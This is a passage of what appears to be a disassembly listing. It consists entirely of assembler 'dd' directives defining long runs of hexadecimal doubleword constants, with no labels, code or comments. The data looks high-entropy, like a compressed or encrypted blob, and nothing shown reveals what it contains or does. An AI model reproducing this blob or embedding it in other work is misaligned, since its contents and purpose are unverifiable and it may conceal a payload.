0CC442D8Eh dd 0E6E9420h, 0ACF10DC1h, 4C2F4B90h, 0D9073D23h, 0EB204ADAh dd 0E6E9164h, 31FAD1F6h, 7C90A4B3h, 11E81F95h, 0EBE7803Eh dd 13367A5Dh, 0B8B7708h, 4693900h, 0F809F7A7h, 5115ED2Bh dd 186BD914h, 0CBCE005Fh, 0DCB84D1Fh, 3A02E1E8h, 0F932EF47h dd 0AF946835h, 0B66031CEh, 646D8F72h, 540017F8h, 2F7F7D33h dd 0C1718D66h, 85977659h, 3CC0EE37h, 2C9617CCh, 3A465Eh dd 0B0F3D0DAh, 0E932138Bh, 5F4536Ah, 0F41BD480h, 4680750Ch dd 94AD122Fh, 5BE4F0DAh dd 570D1712h, 38622440h, 0B61CB974h, 89033948h, 0F53E483Ah dd 449C88Ah, 40604113h, 304024E4h, 86D44306h, 0DF302A88h dd 710922C8h, 21D92F41h, 8997FBB8h, 0C4474025h, 0FD0A4684h dd 616D8F0Ch, 2005D7ABh, 0E4C09921h, 0B92571B3h, 829465AFh dd 8DB34705h, 0C6E522h, 7F4AAD2Dh, 0A710828Ah, 0DA404062h dd 4C1C30Ah, 3BD0B4D5h, 0F2001CB2h, 0D79525D9h, 378CB53h dd 232C5A4Eh, 310232BAh, 8D472538h, 0AEB478C6h, 5E9C96ECh dd 1D002A46h, 0F8029EFBh, 489EB632h, 0FD57F960h, 6410F149h dd 6E2F5FFBh, 0E4406889h, 0E274F472h, 40880071h, 64DF7825h dd 0AA1DF1C0h, 5840738Fh, 0C9CB3C2h, 76600062h, 1D394001h dd 46777D7Ch, 81084095h, 12258C38h, 0B1C010A3h, 702856B2h dd 0E6CBA6B0h, 0B8A4E803h, 4841D59Eh, 0C90B6868h, 0EC71B688h dd 3960F47Bh, 0DB2D199Ah, 1D681F88h, 0A008E149h, 0CF714231h dd 0C2202117h, 6732CBD0h, 606F4430h, 2DB6BC6h, 0D755F9B0h dd 785011BFh, 74CC7455h, 583F6324h, 116CB25Dh, 80049F3Ch dd 11514A69h, 0AB005584h, 4B218207h, 0D528A18h, 567519A2h dd 1AD02019h, 0A1608901h, 51224011h, 53551880h, 0A0219813h dd 3E891E3Ah, 18A3EA1h, 648615A5h, 4BF0121Ch, 831A1D57h dd 87040051h, 981DA521h, 21C590Ch, 10288Ch, 7A85D83h, 1FAE589Bh dd 0AD673418h, 0E46E5640h, 535A0078h, 0BB218F18h, 13009907h dd 3D2E790Ah, 5034561Ch, 63140422h, 3A18006h, 244007E0h dd 711F6003h, 1E538356h, 33A15879h, 4AE31271h, 21621874h dd 0A34884E0h, 0DB8D1A08h, 5075E152h, 38465DC5h, 7A88C080h dd 8D03A265h, 1AE5220h, 87511C0Dh, 0BB330F3Fh, 6D1B8DE8h dd 22F4387Ch, 40126517h, 66A00071h, 767927A9h, 34491C00h dd 217C5025h, 7A21F72h, 0E14E5977h, 6649D07Fh, 506478C0h dd 216313ADh, 88904075h, 589C3100h, 22623DA0h, 0E770085h dd 214D558Dh, 128E787Ch, 1F1D4C76h, 923C2B0Ch, 85B40414h dd 46234243h, 8F54486Fh, 0A4D12DF1h, 5F2230C4h, 18C4AC9h dd 86C29460h, 0D019A4B9h, 71616B0Bh, 1774088Ch, 48B214AEh dd 9413104Bh, 27D1FE25h, 68A9A560h, 95434650h, 5821F0C3h dd 0B4AD2D65h, 10A5E960h, 0C4C9E6C3h, 0AEB97759h, 4720DC31h dd 0AC425816h, 6061AC5Dh, 16F96AFh, 7C40C03Dh, 4A82B413h dd 7A984553h, 0E883217h, 0DCF22C89h, 0D1E460CDh, 8C30E828h dd 0E586C359h, 94353729h, 161698C2h, 59B2D546h, 0A4CD231Ch dd 210EA851h, 0C305291h, 2B806E1Ah, 905C9AD3h, 1BC822CCh dd 0B9F20D12h, 8C0970BDh, 784859E6h, 0F930A9h, 4BF986BFh dd 0D6D0812Fh, 68123FC9h, 8F179CE2h, 774088E1h, 1286060h dd 95FA2F1h, 4C5986B9h, 0D444944Bh, 0E97940h, 406EACAFh dd 0B32FB15Eh, 0A9D80260h, 0AACAF61h, 0D780249Eh, 0AD738971h dd 98505544h, 0BF41E9E0h, 86972880h, 170AFB47h, 0B006B6B9h dd 40B128BCh, 2E09F1FEh, 1A8BC6AFh, 0CC443304h, 0DC2A5922h dd 0E90F4550h, 1DC9B100h, 1088294Bh, 48868A1Eh, 4A04149h dd 0E28B471Ah, 20CA459h, 12195132h, 1C2AEE0Dh, 82892C11h dd 1DB44830h, 5C416141h, 9700134Dh, 1C321785h, 300A4054h dd 39486887h, 7B9C943Ch, 158407FFh, 0FBC1D8A8h, 661BDED5h dd 2F9DA09Ch, 8CA097C0h, 0DA48525Fh, 6BCD09Ch, 651B01F5h dd 0F26112E0h, 0D5340072h, 53C21377h, 39D61519h, 2CE21A48h dd 25817E28h, 33141FE2h, 155CC050h, 0C13BD8D7h, 72C18821h dd 33F0Bh, 278633DBh, 40482A18h, 95883D9Eh, 81335BFBh dd 0E7C17960h, 4423390Ch, 0C512Bh, 1232FC56h, 5361E3AEh dd 8164B338h, 0C748BE88h, 461B60Ah, 0BC60AC09h, 0A19FF9DFh dd 4780E4BFh, 0D938A2F0h, 2CBD441h, 2E9CE113h, 4810C5D0h dd 1960AEB3h, 48013D71h, 10043A48h, 641C29F5h, 17C7D33h dd 0D4F35BCCh, 0F4FB412Dh, 10060826h, 1F3869ADh, 2B320108h dd 52CBBD8Ah, 67FCEC17h, 4CAEA87Fh, 44B8B060h, 0A4262877h dd 40F844E0h, 0C84880F5h, 0AC6F7F6h, 64F0C8ABh, 10F4F996h dd 0D4A948FBh, 7C044480h, 0B73032FFh, 0BE3C4880h, 9A427A9h dd 77BFD898h, 2D2C523Ah, 0FDA8209Bh, 0CF0CC1BCh, 921E1B21h dd 0F500D0D9h, 3F49C9F1h, 178449D8h, 29016F7Ch, 0D22A8748h dd 94157184h, 1004F003h, 928F71C0h, 4545ECFh, 0C0C575ECh dd 0DA78F42Bh, 31F9AE03h, 0C88746B3h, 0FB3ECEBBh, 9C04091h dd 85BD0A78h, 9046D720h, 4410A408h, 0B30052DFh, 2FC7BF66h dd 12344FAFh, 0D1D8D443h, 6FF6EAA8h, 10F1F009h, 0A8687374h dd 0B04377BCh, 6082172Ch, 3C7CF2ABh, 0E5AE009Eh, 0D0B3B2F6h dd 0C04FF66Fh, 6DA3C0B0h, 2C90CB3Fh, 0BED944h, 6F7D28F0h dd 0A0DF16F1h, 9A4CE401h, 259D3291h, 17C07980h, 0F0D75CF1h dd 2FDCC81Dh, 0DAF20C0Bh, 1C6E49C0h, 59DAA91Ah, 0E20C882Fh dd 0F1026011h, 0EBE9A010h, 6B0C4172h, 9217D44Ch, 0B02882A8h dd 69F18C60h, 6402212Bh, 84604F3Dh, 0CA0C98Fh, 52EC09ADh dd 562492BFh, 4E73411Ch, 3F21FC29h, 0B61FB8EEh, 36555A77h dd 54A8B14h, 30043138h, 0C52730F1h, 0FEB888D3h, 0FAF2488h dd 86FB53F5h, 200C89A0h, 0BC0BE18Ah, 0D22A9969h, 7676DCh dd 0ECA53612h, 238F797Bh, 1C9A4072h, 68426BA2h, 469D2817h dd 45E81A90h, 1767250Ah, 0AD3E2CD9h, 1698E420h, 8414AE8h dd 72807C68h, 440115BCh, 0F08012FCh, 0E41C327Eh, 97D2B18h dd 2CB45A6Ch, 8A36C40h, 332E98A4h, 0DB45F065h, 50CF0C44h dd 6318F322h, 7C5C8169h, 8C6ABC88h, 28F34F00h, 0B1A682ACh dd 9E411393h, 919C9022h, 1E0F32A5h, 60481003h, 1760C09Ch dd 0B4BC0521h, 20D463F0h, 0C10EEE80h, 950BC803h, 0D98DFF9Ch dd 443E8E32h, 0EAAE67BCh, 0E6682842h, 124742Eh, 0D00F469Ch dd 78CE0F33h, 4278F8F1h, 0AF10E028h, 0CC5509F0h, 10544937h dd 0D0383943h, 0E247B477h, 8BA8001Fh, 0C44CFFA9h, 644E0591h dd 0A0E82C85h, 7C8C07B8h, 2D9D2A9Ch, 5FAC07C4h, 0A087C0F3h dd 468B13CAh, 2DB9FF12h, 97A694C8h, 0AC127C38h, 9BAA1F0Eh dd 10E3C037h, 86DFF36h, 31900DF5h, 0CFACED2Dh, 3760F88Eh dd 0EA86F6FEh, 78EC9409h, 74187A9Eh, 6E30001Dh, 0C49D655Ah dd 2C1DA946h, 48003ACCh, 4596BD18h, 0B323257Ch, 0FB0DBC68h dd 720FB9DEh, 381918D9h, 0DB3D0019h, 776AA299h, 2D0143ECh dd 0A0C66894h, 0CB2EA9E2h, 0C0068840h, 8A857843h, 6CF2401Fh dd 0BECB641Eh, 361C2228h, 0B92303C0h, 0FB0539B6h, 7DB1FD98h dd 32A2CCFCh, 0DAD96422h, 98AB0004h, 0D3387B51h, 1D00926Ch dd 0E0BFDD2Ch, 59D88F66h, 5600EC23h, 69599FC8h, 0AC13A177h dd 0A40549FEh, 0A4C9E70Dh, 808456DAh, 0DB2B55FAh, 0B001670h dd 0B4CABD57h, 0E0216Ah, 8E711986h, 5A70D613h, 3E0C2618h dd 3F2FE39h, 9C9960F6h, 0DD9069E0h, 0B9177E28h, 988B521Fh dd 5F03A3DFh, 0C10BC563h, 407EDA74h, 0D423C664h, 0D0A02738h dd 0EC3D6F70h, 0BAFD8F16h, 6BAF800Ch, 5A124DFh, 0D637823h dd 88B4B8F0h, 13126345h, 0ED0812ADh, 21DB880h, 0ABF6797Fh dd 90775C91h, 0F69FD060h, 425E2FE5h, 265C80B0h, 80E40D5Ch dd 648A9E8Ch, 0B4A20093h, 0FC58DA72h, 892F601Eh, 0E4B4E5B2h dd 0BDD8603Ah, 75CF0456h, 0C82BC10Fh, 37055E90h, 7B7853A3h dd 2B742C82h dd 50178078h, 0C8D29E7h, 23282B2Bh, 61F10036h, 8323A889h dd 1CBE3A7Bh, 67DD1600h, 1F7BFA3Fh, 62F30D62h, 534DDA02h dd 0E0822F15h, 80C1BA5Ch, 0C97C8B23h, 0DA00A090h, 0FEBD49E6h dd 2348679h, 0B7DD1036h, 4CE4CE72h, 0C0B46D97h, 0D9C79F4Fh dd 0E755B600h, 0F0951D8Eh, 0B0FA84h, 9BA0B303h, 13412E7Dh dd 0CF0CDA00h, 2A896A06h, 28327448h, 358DCF3h, 12757394h dd 0C4E38AF9h, 46971917h, 17323CD0h, 0F0820347h, 33BF232Fh dd 0ED5B192Fh, 0CB19C0B8h, 5202F380h, 0DAE09510h, 7287CA7h dd 0D1BE0664h, 0F932C9CCh, 0B57C6766h, 78B238B6h, 0A871A51Dh dd 0ED186B59h, 47975400h, 3757B553h, 0B80463E6h, 29007B2Ah dd 0B3EBDCF1h, 0FD6AB3Bh, 0BF62E3BEh, 0A4219E64h, 0B10744D8h dd 5AD2DD70h, 9B7F273Fh, 34D9B001h, 3124C200h, 1160B800h dd 895BFFD0h, 6F7E008Bh, 93D21041h, 951D17F4h, 0B4262486h dd 81F6F582h, 4A407A40h, 0D0A276h, 5EB60DFDh, 331204Eh dd 5BF71B64h, 4084D8BDh, 7060E379h, 3FC84CE5h, 0F872D300h dd 0B98990A9h, 0BEFFDB00h, 165B6C41h, 0F9640266h, 2B68A080h dd 19004052h, 51AA050Ah, 528906h, 0B33F28FBh, 707EDB94h dd 0D1955907h, 3D9308Ah, 88159EE7h, 3CAF60E0h, 7504B2C8h dd 80079FCDh, 79CC2624h, 6AE27200h, 8D09C5A3h, 120DF074h dd 0B863EDCFh, 290C811Ch, 0F7409C94h, 726F3222h, 0A3EA0001h dd 0F3529F89h, 4B03C70Dh, 0A9FF953Dh, 1498A627h, 90A0188Dh dd 2B2CCC5Fh, 4C7C2CBFh, 0E747977h, 7B0C94D5h, 0BB8964C0h dd 8E4BD975h, 0CDB8D800h, 0C3DAEh, 86976A42h, 0D2BB91B2h dd 4989B28h, 1156DC37h, 45B280FBh, 9A67E7h, 25D9AE4Eh dd 4AE8A83Fh, 1F289100h, 83A10B05h, 2B3E0092h, 22BB1011h dd 25F0989Ah, 7D1F3403h, 0EB1D14D7h, 0C6283A92h, 40314098h dd 0C06D2B9Ah, 0A0EF7031h, 0C07CB8BAh, 81713B61h, 52F89ED2h dd 8C295400h, 0F28B6185h, 999D003Ch, 402FF8D6h, 0AC00C011h dd 0A642205Eh, 7AA2E8h, 0F9D9943Bh, 35113423h, 0B5502D73h dd 51C16144h, 0A918A665h, 38C73181h, 802A5CB8h, 98951380h dd 7C9288CAh, 3054303Ch, 7C129D18h, 0F81CB40h, 909ED8A8h dd 0C3F04980h, 8D05ECEBh, 221858BBh, 96639421h, 5EBA309Dh dd 0C0A40C14h, 0A80D3810h, 708C4365h, 2CFC2F3h, 0CC92F3DEh dd 0B4030437h, 0E1D340FCh, 0B8476471h, 5C3353C1h, 0DB349440h dd 0D2A93C5Ah, 8040FCCCh, 90E30171h, 9E5C98A0h, 0FF299047h dd 48017484h, 0B4D18E27h, 0BC829D20h, 0CF00D779h, 8B25AC8Ch dd 0EC644Bh, 27AA8EF2h, 331129C1h, 4C31E300h, 13BA3A8Ah dd 34E8003Ch, 772E7151h, 24072772h, 91BBE984h, 0A7C11990h dd 0ED44006Bh, 0B4C5802Ah, 8B01A9B5h, 795C5D4Eh, 0BE0B68Fh dd 48F50704h, 0E0039588h, 0C1C4657h, 8902DD73h, 2220F3F0h dd 0AC8CA0F2h, 0DBE64Eh, 25515583h, 3377C02Dh, 51F7232Eh dd 0F0854001h, 89D07275h, 2EFF0AA4h, 16A4442Ch, 0A9BE005Fh dd 0EBE28B13h, 2AE91900h, 391B3643h, 4FAE00DCh, 0EEE0CE41h dd 2C002F81h, 25DD84BFh, 0E5F8CFDh, 69522A9Eh, 0D5C05D40h dd 0A800B805h, 0A4C600Bh, 7AC7EEh, 3D49D662h, 2B2E10F9h dd 3216930Eh, 60C64FF2h, 4E3A0DA8h, 0BAA00A9h, 0E841D3C1h dd 0B5B88243h, 0E2164906h, 1C10A0h, 9E06FD80h, 0E3F30F5Ah dd 11AD8B00h, 64B082F0h, 0A20B0062h, 267795BFh, 0CE015527h dd 1E2E11A9h, 62E8D539h, 0A3CB0029h, 0F2F86C05h, 4E059117h dd 60AB8011h, 1E988800h, 156F9246h, 849E9340h, 74A91C0Eh dd 0C381C860h, 6D00B72Ah, 0DED50365h, 4A185FDh, 6B72A729h dd 39CFD0E5h, 0B71D9470h, 78C612C0h, 5C6046D4h, 42003684h dd 7B1860C4h, 0ED00F617h, 0A7AF0DEAh, 0EC4FB4h, 0E98BF0EBh dd 0C1281A2Dh, 61544100h, 15180A69h, 4B5E00C4h, 0F6C9278h dd 0FDF0E431h, 253F2301h, 2D9AB568h, 72D48C20h, 0C0EE00CFh dd 0EDA18FAh, 2804151Dh, 0CA97EC66h, 3AE83C90h, 0DAA730B2h dd 562B5811h, 0DF360C18h, 92610B31h, 3F5C1210h, 0F12C0F76h dd 0C55EA701h, 2908F770h, 9A82E7Eh, 4000F509h, 4A1B5E63h dd 6230820Ch, 6828F0h, 0CF1CB46Fh, 0D86BA324h, 8CD4D100h dd 0FD0949B6h, 61E40E63h, 81E0E7D3h, 1AF6754Bh, 8068123Ch dd 0A29854D7h, 0E47CCF46h, 0DB0B07C3h, 431A03C9h, 0DFB02B4h dd 0EC8040B5h, 0AF31D090h, 0B959900h, 59C8E8FBh, 80A038B7h dd 0C6EA1E00h, 2ECD5D5Bh, 0D50E9F0Fh, 6E552078h, 0EE24283Fh dd 5A6D003Dh, 0F02B5EABh, 0E490EB80h, 0BD0D2200h, 4C30A94Ah dd 0DBAF0078h, 99DF2792h, 0EA01A59Dh, 48BBF1D2h, 6DFD9367h dd 0E85ADE4h, 99080EB8h, 8D2E3AC0h, 470F76B9h, 8FFEB2FDh dd 0BBD204Ah, 92152Fh, 8571B3F9h, 0C4E96A98h, 10CBED2Ch dd 367C3D00h, 1197E41h, 305E2191h, 4051766Ch, 6BD2C4CCh dd 0EA53B801h, 94D4F7F1h, 4D34E0h, 12BE8FC2h, 9CB6ABDCh dd 0A224171Eh, 6C4400FEh, 0F1F44290h, 6D2F00EEh, 541BADE7h dd 74004EA0h, 87CD711Ah, 1E6A14Bh, 99610997h, 0F88A73E1h dd 2E7A3BC9h, 0B6438600h, 0B075E5B7h, 0BA0D03F0h, 153C16A2h dd 5394100h, 4FEDA5E1h, 1A80307Ch, 0ACF50748h, 0A30096E8h dd 0C2FA8260h, 28DEC02Fh, 9B0AB0h, 75704871h, 97ACCDFDh dd 0CF00A575h, 5F4AAAF8h, 89B09h, 0F57E8A93h, 33A21947h dd 0C22B9E02h, 0E011F458h, 52C176h, 0FA5B99E2h, 4B367A50h dd 94844A01h, 79402708h, 71B26ECh, 3B022053h, 744D6354h dd 22A54803h, 255034Ch, 382A8D11h, 0DE60C147h, 0EE005791h dd 0FF7F114Ah, 7AD5E2B1h, 2FEF078Dh, 733C252h, 831580E4h dd 0D32E71DEh, 88004442h, 93EEB9C4h, 0BE3F5CC2h, 6035939h dd 0A56B665Dh, 0E1087098h, 8DA9C401h, 460A2913h, 166E21FCh dd 419DD517h, 0BAE3668Ch, 0B4BC208Eh, 948659h, 87C1EB6Dh dd 61EAA2h, 0AFA71852h, 5BEDC0D5h, 8101FAF4h, 2816CCD1h dd 78344590h, 0E1C32664h, 4E843EC0h, 8069333Eh, 13EB5378h dd 0A3EFB704h, 11C0B81Ah, 27289Bh, 0BC922F79h, 0F570A595h dd 43018AFAh, 8B04E246h, 96DC8D62h, 2DF20215h, 1A796BCDh dd 0C0DEF1E1h, 0A49874C1h, 0D6120424h, 0DCA8D803h, 6C00099h dd 3C611323h, 48003578h, 79FB4B0Dh, 2C7354h, 85490C71h dd 2D3426DFh, 7C140400h, 0B55B436Ch, 0DD10029h, 52166D73h dd 0DF788CBEh, 0A8A074B0h, 0A676F536h, 0DBFA9C00h, 31B66BD3h dd 78B7009Bh, 0B365C430h, 7F5808C2h, 853DDFh, 1171956Bh dd 1E5316Ah, 0BA7EE155h, 0FC8C24E2h, 7900580Bh, 390A16EAh dd 0C4F160h, 0C72C65CDh, 7D1A5523h, 671F667Dh, 2DC029FBh dd 0CF528769h, 38E500DBh, 0DE560DA0h, 0CA1678B6h, 0CC4359D2h dd 0E8C10A20h, 0E344E60h, 0C912239Fh, 3C0E78CBh, 97182A60h dd 7D244644h, 1400BCF9h, 0F3BD804Dh, 0FEC400B6h, 0A477BA3Fh dd 0C20B29D4h, 158A70Ah, 0A5E9F314h, 0AC74BEE5h, 39E203D4h dd 0DAED3679h, 7FA80E26h, 4FB5FE01h, 4E20E053h, 8ED70049h dd 0E4ED5A6Ah, 0D100D450h, 0FB476B89h, 0A0EE56E2h, 7FD8608h dd 55DDEB27h, 0B153016Fh, 0AB4C2048h, 5424771Ch, 4792167Bh dd 2E52B85Fh, 87A99880h, 54481D24h, 3511D6Fh, 2F8006B8h dd 0B0AD2100h, 67C73285h, 3F3C00ECh, 2FDF0766h, 0A7009C13h dd 4E9D035Bh, 711CFAh dd 0E95967DCh, 0F044623Ch, 70802637h, 19D3CF87h, 4887A247h dd 31F04198h, 0F72154C3h, 50B3F967h, 147E4490h, 57F04F71h dd 0AE4E2400h, 973E85C7h, 3CD60567h, 5C61C0Dh, 6DC468h dd 0A014162Ch, 0F400B4B6h, 919ED063h, 0CC1031h, 0F8F7C23Bh dd 83E84CC1h, 68469201h, 0FCDCD012h, 78582Dh, 9ACEA7F4h dd 2FA66F02h, 0A59C2401h, 1B8506C5h, 12882980h, 0E52241EAh dd 4C6DE1Fh, 39C02B05h, 21959C40h, 62A18A9Ch, 7E1A9988h dd 0F05955C1h, 7700E53Eh, 0A3C6853Fh, 3CCF2F1Eh, 2B0FF98Fh dd 0CB87079Ah, 62C16154h, 4408C9Eh, 0E149B4h, 9A24A95Bh dd 6234457Fh, 0B4189261h, 88434248h, 0E9CBF0h, 661CDCE0h dd 58BBB8Dh, 288C5002h, 816C70B3h, 0EB97F18Ch, 84302990h dd 54485EB8h, 24E5A242h, 0A0414B64h, 3F02F088h, 43EC7Eh dd 838BA70h, 3D375726h, 0A2B38A00h, 357DB082h, 0C0640B62h dd 0E400183Eh, 3F716532h, 5022F500h, 0B40112C2h, 3B390209h dd 6590FB8h, 42417CE8h, 1794B65Ch, 7C4717CEh, 2198DE4Eh dd 361014h, 35BEBF0Bh, 150589Ah, 9CA20FF0h, 0F09F22D6h dd 591F80DCh, 0C000948Fh, 0A02E27B8h, 0C4EC48B5h, 8E80853Fh dd 3F2C02BBh, 9526A54Dh, 9F1D6F81h, 71F41380h, 513562h dd 3CD25D89h, 3057DEA3h, 67562E1Ch, 55C7ED00h, 0F29D4Ah dd 6C1C0FF5h, 0E688FA73h, 52D48550h, 75287F02h, 60F02418h dd 6C077ABh, 7ECF601Dh, 0C2051C45h, 0E989E203h, 9FA8C8h dd 0ED850987h, 0A2D844C9h, 78027E01h, 0F0B8D95Ch, 1FAB430h dd 0D3677208h, 2CE13261h, 805B3D48h, 5769525Ah, 41DE60h dd 6B14280Dh, 0F1937C65h, 6FBCFD08h, 8A9500FEh, 88F40D3Ah dd 725ECA14h, 0D39600B8h, 9E3B4A34h, 0E6A8C15Dh, 0E40EA029h dd 0C6006AF2h, 33FE38FFh, 3FDD6EDBh, 71770688h, 0AC54001Eh dd 2A93CA32h, 757FB891h, 30B34D01h, 4F669F05h, 206428F9h dd 0C8C201EFh, 0B55802B1h, 0AA984084h, 0DA794F7Eh, 0CB8B1200h dd 34DDE3D5h, 0DEEC01C1h, 0F32482D2h, 7A51EC96h, 0ADA08C5Ah dd 0F20B00BCh, 0C066CB8Eh, 0C9EE1ED5h, 6B23C100h, 0A33790D0h dd 365F0F57h, 0CA4011ECh, 0C689D5FEh, 0D0B58F0Eh, 39F0A0FFh dd 7FBE84E8h, 4284A052h, 907407D8h, 0A2DB13h, 0C1F48DB2h dd 676F3Eh, 68D42D8Eh, 0B59A33h, 921C7E06h, 2746509Dh dd 48281400h, 7C452C3Ch, 24D6027Bh, 8064CEDDh, 803ECC0h dd 8BA8BF00h, 41929E8Fh, 37E5B8BEh, 0E0B89C06h, 0ABCC3697h dd 506538h, 27A774CFh, 0A45BECh, 761BF7D9h, 2C17D85Eh dd 47F81100h, 0FB1DEED6h, 0E4A0906Dh, 23100099h, 5BF14B76h dd 0F6E8043Ah, 9121E760h, 47A063h, 7523C24Eh, 0F8943022h dd 390FC60Ah, 8A00CF52h, 4734FA6Eh, 0D1CB0132h, 0C587975Ah dd 147C34EBh, 9CDC6F00h, 599326D4h, 5447001Ch, 3A0D1D06h dd 510E4B23h, 60B7686Eh, 0AEA9B1F4h, 3B68B059h, 0A63D0EF5h dd 0E9F24201h, 0E06E25EEh, 0C98CE55h, 0C3E46700h, 32E0D6CFh dd 0BCAD10F8h, 43D79B5h, 0B0020074h, 9AB80CA8h, 5D50341h dd 0F9091556h, 18C8D98h, 0FFEE7D12h, 0B5C97400h, 0A82332EDh dd 34D621E4h, 500FFEh, 69E1C5BCh, 0B40039DFh, 34E45A61h dd 33691ACh, 25AB37D2h, 0ADA8C0C5h, 454CDE99h, 0EA4000BCh dd 0AC01F6E1h, 0C0BF78A4h, 0A2BB19C9h, 0F8074A98h, 1E67E4B7h dd 348417A0h, 0DD60006Dh, 9124D593h, 57005A5Fh, 0E34974C4h dd 0B816802Ah, 9131220h, 0FA740045h, 0ACB4D63Eh, 0E8760807h dd 0DB13E93Fh, 8E3AE838h, 0A706124Ah, 0CC8C073h, 0BF0082BBh dd 45A3BD5Eh, 2B98D4Bh, 0FEE607F7h, 0A868CC85h, 603D478Bh dd 0A48400E0h, 9B83F972h, 0EC6D0122h, 0D12B6BBAh, 584BE7BBh dd 0C30B3800h, 0E84037h, 627AD9ACh, 517CF482h, 0D2AB9D01h dd 32DE248Eh, 0F8AC61BFh, 0F53700B9h, 0F096A0F3h, 69163DE0h dd 6C433930h, 0C765E8E4h, 59503190h, 904D00AFh, 0A6BFCE25h dd 0BD041916h, 0EF05DD14h, 7C474881h, 781F7CCh, 82A6DA25h dd 43EA302Fh, 8002F253h, 0D5EC6378h, 2CC885AFh, 74BC880Ah dd 38A58900h, 585F94h, 10D0C6C8h, 565A6870h, 5DACCA00h dd 84BE0C9Eh, 863703E8h, 8B19AFDEh, 0C8EAED98h, 0EDB39h dd 0BBE23047h, 5BE7291h, 5D29F3FAh, 71589016h, 0AB2731CDh dd 83C883C4h, 25B21390h, 889D0054h, 0E013DFF2h, 9589E807h dd 0F021F3A2h, 0CFC76858h, 20B29350h, 732C07EEh, 20DBFC2Bh dd 9F4E91E3h, 9C830500h, 1EF4265h, 371B243Ch, 0B9B40630h dd 5F3C8072h, 20DB812Eh, 53485773h, 82EC20h, 64243E7Fh dd 79BDB698h, 4C6F2C00h, 3C3281C5h, 9BFF037Eh, 0AEDFB274h dd 0BC607FFAh, 249007BFh, 10A69901h, 3C117ED9h, 97395080h dd 8DB3B666h, 85778003h, 9041EB19h, 741FF822h, 9979000Bh dd 3915744Ah, 2059180h, 64D7A7A9h, 251F5180h, 0F1B500CDh dd 0BD8E33Ah, 20075BEh, 1BFF27C9h, 79E81661h, 0DAF00377h dd 0B0E768D6h, 8EE55688h, 8920AA00h, 0B10699C1h, 4230E99Dh dd 0B524003Fh, 0EDCD6B63h, 0B4B0870Fh, 10BF9400h, 9B701A28h dd 139C012Dh, 97E3DBECh, 842CB6h, 0E49EAF82h, 0E7D5C8h dd 76A7783Ch, 0AEFCD08Dh, 0A598F500h, 5852B370h, 20E079h dd 0D7CF3EA0h, 191D5766h, 12697700h, 0C388B24Eh, 0E3EB2009h dd 62594A1Fh, 0BEF11D05h, 70B460D0h, 95E8A8DFh, 74A40191h dd 0EE5328C1h, 0EA7F20A8h, 0C50C040Bh, 14E820B6h, 90A40DB5h dd 0F8FA00ECh, 0CA347B4Fh, 3E006A0Bh, 962CD683h, 0A60C55h dd 62EF4089h, 8D3D30DFh, 0D62E7218h, 1E00478h, 0A56ACB58h dd 20F2A36Eh, 2F0430E1h, 0B2863334h, 0E267D480h, 6D0E24B4h dd 29EB078Ch, 0B02E34A7h, 1C00CA98h, 0A86FDD9Eh, 1799B180h dd 4005588Fh, 0ACFED0C8h, 396003F7h, 8D4AF431h, 0D0F664BCh dd 5A7A47BAh, 8840ED45h, 0CA77BCBh, 668600E5h, 31B4ACEBh dd 0E13EB6FFh, 573D0C0Bh, 0F75116h, 66F67B65h, 0B9784933h dd 0B4EF6C00h, 1E8607F1h, 0CF081EADh, 0EA4F80D1h, 0CC05F5A7h dd 76E4CA0Eh, 795E6091h, 2F3C5FFh, 0E8DEEE6Bh, 882B572h dd 8080D7D9h, 9B6F0FB1h, 52603374h, 0CEBF1178h, 4FDBE84Bh dd 70004B28h, 139B58A0h, 4F1DCF47h, 33066F11h, 396A43h dd 0DA45CE8Fh, 0F7185598h, 0F619C407h, 1490095Ah, 0FDF3F83h dd 2F870767h, 54417CA3h, 0E1C524C1h, 0EF304166h, 1E9DF051h dd 112B3600h, 0C753A034h, 4121DC85h, 1942CF70h, 0E42D87h dd 43246FA5h, 4B06B654h, 0D6F022F2h, 0DC019704h, 0F08D6C34h dd 0E1000811h, 88CAFFA2h, 58192657h, 0E3009CF5h, 943B7F84h dd 0A6028087h, 0DC537ECCh, 0C928609Bh, 5A84003Dh, 2E9E2847h dd 0C498ACBBh, 5BED1600h, 4A90DFE9h, 13EB98A2h, 78442Dh dd 0AC3E553Dh, 8E00A033h, 6F0499CFh, 1E4BD94Dh, 0CC17AE6Ah dd 0F230FF76h, 0D85C8505h, 0B9C7CBC0h, 402A7E42h, 0DDC189h dd 699BE288h, 0DF7F0898h, 787C9A00h, 0FE4AE934h, 0C2C30F17h dd 0B7A0E63Ch, 0F622EE8h, 76577807h, 99B05E5Fh, 0B3B8FCh dd 6A805897h, 0F282099Ah, 8E63FF27h, 0E736C0A8h, 0ECB7B4h dd 821F573Eh, 8110457Dh, 8E9B7B01h, 1270C5B8h, 107E3D8h dd 0F57739C0h, 7C99EDC4h, 0F409B9BCh, 0F4049FF2h, 9AB2B418h dd 4EC2F010h, 0E48004E2h, 0EF8B0F6Bh, 0B32841E9h, 94387458h dd 28FC8611h, 12214D8h dd 113C42D6h, 0CC21FE1Dh, 90D43108h, 0F8058420h, 116A915Eh dd 8411E28Ch, 0B4A6116Bh, 116ED411h, 8821EE1Fh, 90B62108h dd 0FA1A8408h, 393C6C4Ah, 7C508C22h, 0E5440514h, 1F6A44D0h dd 84108944h, 42F38F22h, 8A5F11B4h, 0CD084421h, 8AB890F0h dd 423D643Ch, 75FE1C11h, 870114A0h, 1910AC89h, 58019023h dd 75C76A59h, 0E47C1BD0h, 0F38004Ah, 0CB3B2215h, 0D6483A00h dd 8EAC0A8Dh, 0E2D10045h, 0B90D8AC2h, 0BA005CA5h, 69FAAA89h dd 123909CCh, 0C04041E3h, 0ACFD5A3Ch, 80B7063Fh, 0E4AFC7A9h dd 30F8F8Ch, 0FEDCCE39h, 17C3788Bh, 23F0C8C0h, 333F6C01h dd 5B9770E9h, 7E5C64h, 0D06312B1h, 94AADF48h, 0B5599105h dd 0CE48B85h, 82AB3093h, 2DCC1F58h, 2CFEBF1Dh, 75258680h dd 6EFACC2h, 1C67A294h, 0C7FE7089h, 0C0788F00h, 0DD0D8FAh dd 0C1ADC3Fh, 98781EC9h, 0AB6450FDh, 0BB73BCE5h, 22F1B10Bh dd 0EBC820D0h, 126BF79h, 45B39485h, 0F1A61462h, 0DAEA30E8h dd 210052E8h, 0AC72B269h, 0B8838BA9h, 0C62B001Ch, 0D4B86C04h dd 32009E26h, 0FD37560h, 7E922h, 40C8B994h, 0AFBD360Ch dd 9C281200h, 3D7E5539h, 2954003Bh, 67472486h, 3C008F30h dd 0BA8D2FFFh, 0F24521DBh, 5158014Dh, 